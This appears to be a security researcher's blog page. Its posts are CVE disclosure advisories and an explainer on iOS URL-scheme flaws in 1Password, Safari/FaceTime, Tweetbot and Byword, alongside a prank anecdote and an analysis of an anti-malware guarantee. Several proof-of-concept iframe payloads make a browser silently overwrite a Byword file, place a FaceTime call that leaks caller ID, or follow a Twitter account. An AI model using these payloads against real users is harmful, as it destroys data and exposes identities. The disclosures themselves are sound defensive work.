BSidesLV Talk on iOS URL Schemes

Seeing as “RTFM 0Days” are popular for iOS today, if you are looking for those, I highly recommend watching my BSidesLV presentation. Examples start at around 10minutes in.

Posted in Apple, Security | Leave a comment

RTFM 0day in iOS apps – Algorithm.dk

RTFM 0day in iOS apps: G+, Gmail, FB Messenger, etc. – Algorithm.dk.

I’ve been talking and writing about this for about a year, and this is another GREAT set of examples and techniques.
If you want to see examples as well as help on how to find these, I highly recommend that you watch my presentation, which I have just posted as well.

Posted in Apple, Privacy, Security | Leave a comment

Trolling as a Service (TaaS)

We live in a world of services. From infrastructure to software, everything is a service. Even pizza.

Today, I officially introduce the concept of TaaS (Trolling as a Service). The goal of TaaS is to allow you to troll a person while leveraging economies of scale.

First of all, you will need the “aaS” part. I used Fancyhands (yes, this is a referral link that gives me some credit with them and half a month off to new TaaS users). The amazing thing about TaaS is that you can prank a person perfectly as the person pranking does not even know that the whole thing is a prank. If you are not telling the truth but you aren’t aware of that fact, you are the best liar in the world.

My first and only attempt (yet) at using TaaS was to prank Andreas Lindh, a world renowned information security researcher. I had seen him endorse other people for “Unicorns” on LinkedIn, obviously as a joke. I got in touch with my TaaS.

Find a way to get in touch on the phone or voicemail with Andreas Lindh at work and ask him if his Unicorn endorsements are for sale, and if so, for how much.

Note that I do not mention that this is a prank. For sure, the person reading this might have guessed so, but does not know for sure. Asking me might’ve been awkward too. What if unicorns were real?

Then, I received two of the greatest emails I ever received:

I would be happy to assist you with this request.
I shall give him a call tomorrow during Sweden’s business hours and find out if these are for sale for you and if so, how much they are priced at. I thank you for your patience.

So professional.

I called them a couple of times and they are not answering. Their message was in Swedish so I was unable to understand what it said. I wanted to ask, are you open to me sending them an email?

Email was obviously out of the picture very fast. I insisted on a phone Troll payload delivery, even if it meant waiting a few more days. I then received this.

I called and was able to reach Andreas. He was wondering why I was calling, because he said that a friend put that in his LinkedIn page and that the Unicorn endorsements are just a joke. He also thought that perhaps I was a person calling for a friend of his to play upon this joke. He was in no way upset about the call and had a good laugh and apologized for any misunderstanding. I thanked him kindly for his time and wished him a wonderful rest of his day. I hope this helps. But, if you should need anything else in regards to this task, please do not hesitate to contact me. Please be well and enjoy your week ahead. Take care.

I was almost dying of laughter when I saw this show up in my Twitter Timeline.

@addelindh reacts

TaaS Reaction

Posted in Internet | Leave a comment

My Quick Analysis and Understanding of the Trustwave Zero Malware Guarantee

Trustwave announced a Zero Malware Guarantee for their Managed Anti-Malware solution.

As any responsible consumer probably does, such claims typically trigger my “What’s the catch?” behavior. As the full terms are available easily, I figured I would try to understand what it really means. If any of my assumptions are wrong, please get in touch with me and let me know why, or why you think so.

Disclaimer: I am not a lawyer. I have not use the product. I am not affiliated with Trustwave.

Definition of malware

If someone promises complete protection against something, that something must be defined. From point 1.a in the terms:

Malware is defined as any client side exploit which is triggered during web browsing, including exploits of vulnerabilities in popular browsers and 3rd party browser plug-ins. This includes the most popular plugins such as Adobe Flash, Adobe Acrobat Reader and Oracle Java. For embedded content such as Java, PDF and Flash, the malware definition includes the page that has embedded the content. Client side exploits don’t include categories such as XSS, CSRF and other server side vulnerabilities.

My understanding is that regular malicious code contained in a normal executable file of any type are not covered by this. Only malware that can exploit vulnerabilities on the client software used to browse the web are included. To me, this means that a user downloading a malicious EXE, Jar or ZIP and subsequently running the code would not trigger a “Guarantee reimbursement” event.

Some minimum requirements

Points 4 and 5 look to enforce a minimum level of configuration that is expected for the guarantee to be applicable. The list of settings is quite clear, and is provided in the same document. A good example is this one:

HTTPS scanning must be enabled. If disabled, Managed Anti-Malware Service cannot inspect HTTPS traffic (i.e., traffic encrypted with SSL).

Obviously, any exceptions made by the customer resulting in a malware infection are not covered either.

How do you claim?

Let’s assume you get infected by a technique that is covered within their malware definition, and you detect it using different methods.

Not only do you need to provide the URLs, but you also need to provide the sample files, and most of all, the malware must still be available at the previously mentionned URLs.

The original infection URL(s) (up to 10 URLs for each claim), and the date they were browsed. If the URL is no longer malicious at the time of investigation, the claim will be determined to be invalid.

So if you wait until the source is cleaned before filing your claim, you will not get anything. Even if you do not wait, it has to still be there when they perform the investigation.

Performing analysis to obtain the original source URL is one thing, but you also must provide the embedding page, which could be challenging if it has been taken down, or if you are a SMB with low levels of information security skills or maturity. Don’t get infected twice…

In the case of embedded content (Java, PDF, Flash, Silverlight), the embedding page must also be provided.

How much free service will you get?

From Terms and Conditions 6:

You are limited to one (1) warranty claim per calendar quarter.

From Making a Warranty Claim 5:

If your claim is validated and approved, you will receive a new license key for your additional free month of service.

What I understand from this is that you are therefore limited to a rebate of 33%, no matter what the amount or frequency of malware detection are.

Bottom Line

This is a splashy way to offer a a rebate of up to 33% to companies who will most probably not have the skills or resources to prove that what is defined as malware got through. And those who do might consider that the time needed to do that, combined with the odds that the source server will be cleaned “too fast”, are not worth spending.

If it helps prevent some clients from disabling security features that are enabled by default, that will be a net gain for security.

Posted in Security | Leave a comment

[CVE-2014-2584] – 1Password Launching external apps automatically through use of iframe

[CVE-2014-2584] – 1Password Launching external apps automatically through use of iframe

  • Affected Vendor: agilebits.com
  • Affected Software: 1Password for iOS
  • Affected Version: 4.x prior to 4.5.0
  • Issue Type: Lack of user confirmation leading to execution of external app
  • Release Date: April 23, 2014
  • Discovered by: Guillaume Ross / @gepeto42
  • CVE Identifier: CVE-2014-2584
  • Issue Status: Vendor has published version 4.5 which corrects this issue by prompting the user before executing another application.

Summary

1Password is a password manager for iOS which includes a web browser. The browser has features such as automatic username and password completion. Some apps, such as Facetime, provide URL Scheme functionality that could reveal the user’s identity. Apple protects some of these built-in applications by prompting the user before launching the app. As this protection is built into Safari and not into Facetime itself, 3rd party apps that include a browser are often vulnerable to this, or more precisely, enable other vulnerabilities.

Description

The 1Password browser in versions prior to 4.5.0 executed external URL Schemes automatically when they were placed in an inline frame. This could lead to issues identical to CVE-2013-6835. Applications should not trust the browser to prompt the user before triggering an action, however, as built-in apps like Facetime do so, browser vendors should include some protection. The same iframe code as for CVE-2013-6835 would trigger a Facetime-Voice call automatically, leaking the user’s “caller ID” information (phone number or registered email address).

See CWE-939 – Improper Authorization in Handler for Custom URL Scheme for more information.

Impact

A user browsing the web could click a malicious link or load a page containing a malicious link within an inline frame. The attacker can use this to trigger applications with URL Schemes that perform automatic actions, such as Facetime, and leverage those actions against the user.

Proof of Concept

<iframe src="facetime-audio:[email protected]" ></iframe>

Response Timeline

  • March 19 2014 – Vendor notified
  • March 20 2014 – Vendor acknowledges vulnerability
  • April 22 2014 – 1Password 4.5 for iOS is released and resolves the issue
  • April 23 2014 – Vulnerability Disclosed

The fix

Here is how 1Password 4.5+ behaves when opening such links.

 

1Password Prompt

1Password now prompts before launching external applications.

Posted in Apple, Privacy, Security | Leave a comment

[CVE-2013-6835] – iOS 7.0.6 Safari/Facetime-Audio Privacy issue

[CVE-2013-6835] – iOS 7.0.6 Safari/Facetime-Audio Privacy issue

  • Affected Vendor: https://www.apple.com/
  • Affected Software: Safari/Facetime on iOS
  • Affected Version: iOS 7 prior to 7.1
  • Issue Type: Lack of user confirmation leading to a call being established, revealing the user’s identity (phone number or email address)
  • Release Date: March 10, 2014
  • Discovered by: Guillaume Ross / @gepeto42
  • CVE Identifier: CVE-2013-6835
  • Issue Status: Vendor has published iOS 7.1 which resolves this issue by adding a prompt before establishing the call.

Summary

Facetime allows video calls for iOS. Facetime-audio, added in iOS 7, allows audio only calls. The audio version uses a vulnerable URL scheme which is not used by Facetime Video.
The URL Scheme used for Facetime-Audio allows a website to establish a Facetime-audio call to the attacker’s account, revealing the phone number or email address of the user browsing the site.

By entering the URL in an inline frame, the attack is automated, and similar to a CSRF attack across apps. Safari does not prompt the user before establishing the call.

Impact

A user browsing the web could click a malicious link or load a page containing a malicious link within an inline frame. The user would then automatically contact the phone number or email address specified in the URL, revealing his identity to the attacker.

Proof of Concept

Entering the following URL in iOS would trigger the call to the email address specified: facetime-audio:[email protected]

This inline frame would have the user call the specified email address as soon as the HTML page is loaded, without prompting the user:

<iframe src="facetime-audio:[email protected]" ></iframe>

External link: Security Content of iOS 7.1

Posted in Apple, Security | 1 Comment

Scheming for Privacy and Security

This article was originally posted on The Brooks Review

Have you ever clicked a phone number in Safari to get the phone app to call that store you were searching for? Maybe you’ve clicked a link to a YouTube video and it opened in the awful YouTube application instead of Safari. In iOS, this interaction between apps happens via URL schemes, which are available to Apple applications as well as third party applications. Everyone uses them without noticing they exist, just like file-type associations on PCs.

URL Schemes

Out of the box, iOS provides URL schemes for things like HTTP, email, text messaging, maps and telephone numbers. These URL schemes allow iOS to convert strings of text into actions, allowing time saving features like clicking a phone number in Safari to initiate a phone call.

Third party applications use these schemes to enable workflows across apps. Each application can register its own custom handle and scheme. The scheme is how applications interpret the input. The handle is the prefix to URLs that will launch the app, registered with the system.

A sample handle for a Great Application(TM):

GreatApplication://

X-Callback-URL, a draft specification created by Greg Pierce of Agile Tortoise, has been created to allow two-way communications by applications. It allows sending an action to an application that will return a result back to the original application.

When the URL is opened, iOS launches TargetApp and passes the URL as arguments (see implementation for details of handling incoming URLs). TargetApp will parse the URL, identify the action requested, and translate “Hello” to “Spanish” as passed in the parameters. The “translate” action and its parameters are all specific to TargetApp and should be documented by the developer. If TargetApp is successful in translating the word, it calls the URL in the x-callback parameter to return the result to SourceApp.

Usage

Applications such as Tweetbot use URL schemes both by providing a scheme to perform actions in Tweetbot and by configuring actions that use other applications, such as sending a photo to Camera+ for editing before tweeting.

Most users have therefore used these URL schemes without knowing they exist, and advanced users take advantage of them to make iOS more powerful and friendly to workflows that would be otherwise unavailable.

Some great examples of advanced workflows can be found in applications such as Drafts, Launch Center Pro and Editorial.

Launch Center Pro gives you a catalog of actions to pick and set shortcuts for. Using Launch Center Pro, you can quickly send a new task to OmniFocus, launch Camera+ in “Take a Picture” mode, append a string of text to a file in Byword and much, much more. Drafts works in a similar fashion, allowing you to create actions based on your text input.

Issue

URL Schemes are great. They are, however, a source of user input that should never be trusted as safe. To allow convenience without creating a security or privacy risk to the user, any application registering a custom scheme must keep in mind that input could be sent by an attacker.

Safari for iOS, being a web browser, can be used to send actions to applications that implement URL schemes. The easiest way to test this is to find an application on your device supporting URL schemes, building an action in Launch Center Pro, and copying that URL in Safari. Here are a few samples you can try. You must have either WhatsApp or Felix installed for these examples to work.

Launching WhatsApp will prompt you to pick a contact and show you a message ready to be sent with the word “Test”.

Warning: Clicking this on iOS will launch WhatsApp and prompt you for a contact to send “Test” to

Try it.

whatsapp://send?text=Test

Launch Felix, which will show a precomposed message ready to be sent.
Warning: Clicking this on iOS will launch Felix with a message sheet with the text “Testing a few URL scheme things out…”

Try it.

felix://compose/post?text=Testing%20a%20few%20URL%20scheme%20things%20out…

Not only will Safari prompt you before launching the app, these two actions are built in a way where time is saved, but no action is actually performed automatically. You still have to send the message yourself.

As applications implement actions, it’s easy for a developer to only think about the ease of use of an action and to be tempted to automate it as much as possible, especially if the goal is to use X-Callback-URL to send the user back to his original application.

Compounding the issue is the fact that Safari will launch these URLs automatically if they are placed in an inline frame. This frame would perform the same action as the Felix example above, automatically.

<iframe src="felix://compose/post?text=Testing%20a%20few%20URL%20scheme%20things%20out…" height="240" width="320"></iframe>

In the case of well-built actions that require a user confirmation or that do not present a risk, this has little impact. But combined with a dangerous action, it makes automating an attack all that much easier.

I sat down at the end of August and looked at the applications I had on my phone and found two examples of dangerous actions within a few minutes.

Example 1 – Data destruction in Byword

Byword allows a file to be overwritten through its URL scheme. The action is called “Replace File” and does exactly as it says: It replaces the file named ‘FilenameX’ with the new text you feed it. This string would overwrite ‘Important.txt’ with the string “haha”. For most users, recovering the data is impossible.

byword://replace?location=icloud&path=&name=Important.txt&text=haha

The only thing that mitigated the risk of this vulnerability being exploited is the fact that a file path and name is needed. However, with iCloud being flat, it is not so far fetched to imagine a person would have a file called ‘important.txt’ or ‘todo.txt’. In a targeted attack, someone could try to make an educated guess for a filename. If you sent me a file called ‘bigproject.txt’ and I know you are a Byword user it would be logical to assume you store that file in iCloud. Dictionary attacks could possibly be performed, though a good distribution method for the malicious pages would need to be obtained, as Safari will only launch the first URL targeting an application. By using social media, instant messaging or email, an attacker would distribute the URL to a page with an embedded inline frame designed to overwrite the file. The same method could target a whole population of users by performing a watering hole attack. Watering hole attacks consist of targeting a site known to be a frequent destination of your targets. If you were attacking Apple fans, any of the big Apple blogs vulnerable to a cross-site scripting attack would be an enticing target.

Metaclassy responded quickly when I reported this issue and implemented a very good fix by prompting the user before overwriting a file.

More details on this vulnerability.

Example 2 – Leak a user’s identity in Tweetbot

Tweetbot is my favorite Twitter client on iPhone, iPad and OS X. It supports multiple actions through its custom URL scheme, including following a user or marking a tweet as a favorite.

This can be useful to add a link for users to follow you easily, but no prompt was presented to the user. This effectively means that you could get a Tweetbot user to follow you without them realizing. While this might seem minor, it is actually an important privacy risk. Imagine you are browsing a website, and an attacker either gives you a link to a malicious page or inserts the malicious inline frame in one of the pages. You barely have time to notice it and Tweetbot opens and follows someone. Once this has happened the person can now link you, or at least your Twitter account, to someone browsing that site or having received that email with a malicious link. As a lot of people, myself included, post enough details on social media to reveal our real identities, this could be used by attackers to reveal the true identity of anonymous users of a website, forum or email address. A political activist using an email account created only for this purpose could be revealed the moment he clicked on the malicious link.

The same can be done by having you favorite a tweet. Remember that Twitter can send notifications for such events, so even if you quickly unfollowed or un-favorited, the damage has been done.

In this image, you can see me receiving a phishing email. When I click the link, it opens Safari, which launches Tweetbot and has me following Justin Bieber.

How embarassing is that?

Tweetbot URL Vulnerability on iOS

Tweetbot URL Vulnerability on iOS

Tapbots has fixed this issue in Tweetbot V3 for iPhone, and fixes for the iPad and Mac version are coming. For the Mac, there’s a workaround which is to simply disassociate your browser from Tweetbot, as it is not using system-level handles like on iOS. If you’re on iPad, you can still try it out.

Warning: Clicking this on iOS or OS X could cause you to follow me
Try it

More details on this vulnerability.

Conclusion

URL schemes will become more popular as developers try to get applications to communicate and enable great workflows. Some were expecting new official methods of app communication in iOS 7, which this has not materialized. Because of that, URL schemes are currently the only practical way for inter-app communications on iOS. As these schemes become more popular, it is important for developers to remember that input from URL schemes could be malicious. Developers should ensure that any action with the potential to damage data, threaten privacy or reveal confidential information should be confirmed by the user before being performed.

If you want to play with URL schemes, I highly recommend using Contrast’s support site for Launch Center. Look at the applications you have and how they behave when you send them a potentially dangerous request for action. If you find something, notify the developer before disclosing the issue publicly.

As more users attempt to centralize their computing lives, by replacing their laptops with iOS devices, it is only natural to want better interoperability between apps without interruption. Developers will have to add more support for URL schemes until better methods of inter-app communication are supported by Apple.

I have a gut feeling that there must be some calendar applications that can set up unwanted alarms at 3am, without the user noticing. There must be text editors that silently overwrite data. Surely there are messaging apps that send messages without the user’s consent.

Now we just have to find them.

Posted in Security | Leave a comment

[CVE-2013-5726] – Tweetbot for iOS and Mac user disclosure/privacy issue

  • Affected Vendor: http://tapbots.com/
  • Affected Software: Tweetbot for Mac, iPad and iPhone
  • Affected Version: Mac: 1.3.3 – iPad: 2.8.5 – iPhone: 2.8.5
  • Issue Type: Lack of user confirmation leading to Twitter action revealing the user’s Twitter identity
  • Release Date: November 1, 2013
  • Discovered by: Guillaume Ross
  • CVE Identifier: CVE–2013–5726
  • Issue Status: Vendor has published version 3 for iPhone which resolves the issue. Vendor has confirmed the fix is in the Mac and iOS V2 codebase and should be released soon.

Summary

Tweebot is a Twitter client for Mac and iOS. Separate iOS versions exist for iPhone and iPad.

Tweetbot has a URL Scheme/association on all versions that allows actions to be triggered from within other applications. The supported actions can be viewed at http://tapbots.com/blog/development/tweetbot-url-scheme

Description

The actions related to following and favoriting do not prompt the user before performing the action. Additionally, Safari in iOS warns the user that an application will be launched only when the URL is used directly, but not when the URL is used within an inline frame. This makes the attack function without requiring user interaction.

 

Tweetbot URL Vulnerability on iOS

Impact

A user browsing the web could click a malicious link or load a page containing a malicious link within an inline frame. The user would then favorite a tweet or follow a user account on Twitter. The attacker can use this action to identify the user browsing the page, to gather followers or to have the victim follow people they would be embarrassed to be associated with.

Proof of Concept

tweetbot:///follow/justinbieber

This URL would have the user follow Justin Bieber. By embedding it in an inline frame, the attack is automated on iOS and on Mac.

<iframe src="tweetbot:///follow/justinbieber"></iframe>

Response Timeline

  • August 27 2013 – Vendor notified
  • August 27 2013 – Vendor acknowledges vulnerability
  • October 24 2013 – Tweetbot v3 for iPhone is released and resolves the issue
  • October 31 2013 – Vendor confirms the fix is in the V2 and Mac code base and will be released soon
  • November 1 2013 – Vulnerability Disclosed

Temporary workaround for the Mac version

Ensure that your browser does not automatically launch Tweetbot.

 

Here is a sample in Firefox.

Tweetbot Prompt in Firefox

 

Posted in Security | 1 Comment

[CVE-2013-5725] – Byword for iOS Data Destruction Vulnerability

[CVE–2013–5725] – Byword for iOS Data Destruction Vulnerability

  • Affected Vendor: http://metaclassy.com/
  • Affected Software: Byword for iOS
  • Affected Version: 2.x prior to 2.1
  • Issue Type: Lack of validation/user confirmation leading to destruction of data
  • Release Date: 29 Sept 2013
  • Discovered by: Guillaume Ross
  • CVE Identifier: CVE–2013–5725
  • Issue Status: Vendor has published version 2.1 which adds a confirmation prompt to prevent the issue.

Summary

Byword is a text editor for iOS and OS X that can use iCloud or Dropbox to sync documents.

Byword supports actions through X-URLs on iOS.
One of the supported action replaces a file with the value passed through the URL.

Description

The Replace file action in the affected version does not warn the user and replaces the content of the target file with text specified in the X-URL.

The attacker must know the path to the file, but considering iCloud does not have subfolders, it makes it easier to guess filenames such as “todo.txt” file or an “important.txt” file, or the attacker could have received a file created by the victim using Byword and can guess the filename from the title.

Impact

The file can be overwritten and the data could be lost permanently.

Proof of Concept

byword://replace?location=icloud&path=&name=Important.txt&text=haha

This URL would replace the content of the file “Important.txt” in the user’s iCloud container for Byword with “haha”. By using iframes, the attacker can embed this attack in a web page. Safari on iOS will automatically launch Byword and overwrite the file.

<iframe src="byword://replace?location=icloud&path=&name=Important.txt&text=haha"></iframe>

Response Timeline

  • August 26 2013 – Vendor notified
  • August 26 2013 – Vendor acknowledges vulnerability
  • September 18 2013 – Update released that adds a warning/confirmation screen
  • September 29 2013 – Advisory released

Corrected in 2.1 with this prompt

Confirm Replace

Confirm Replace

Posted in Security | 2 Comments

Securosis Blog | Full Disk Encryption Advice from a Reader

I spoke with Rich Mogull about FDE last week. A few tips that are worth reading.

Securosis Blog | Full Disk Encryption FDE Advice from a Reader.

Posted in Security | Leave a comment

Swedish Greys - a WordPress theme from Nordic Themepark.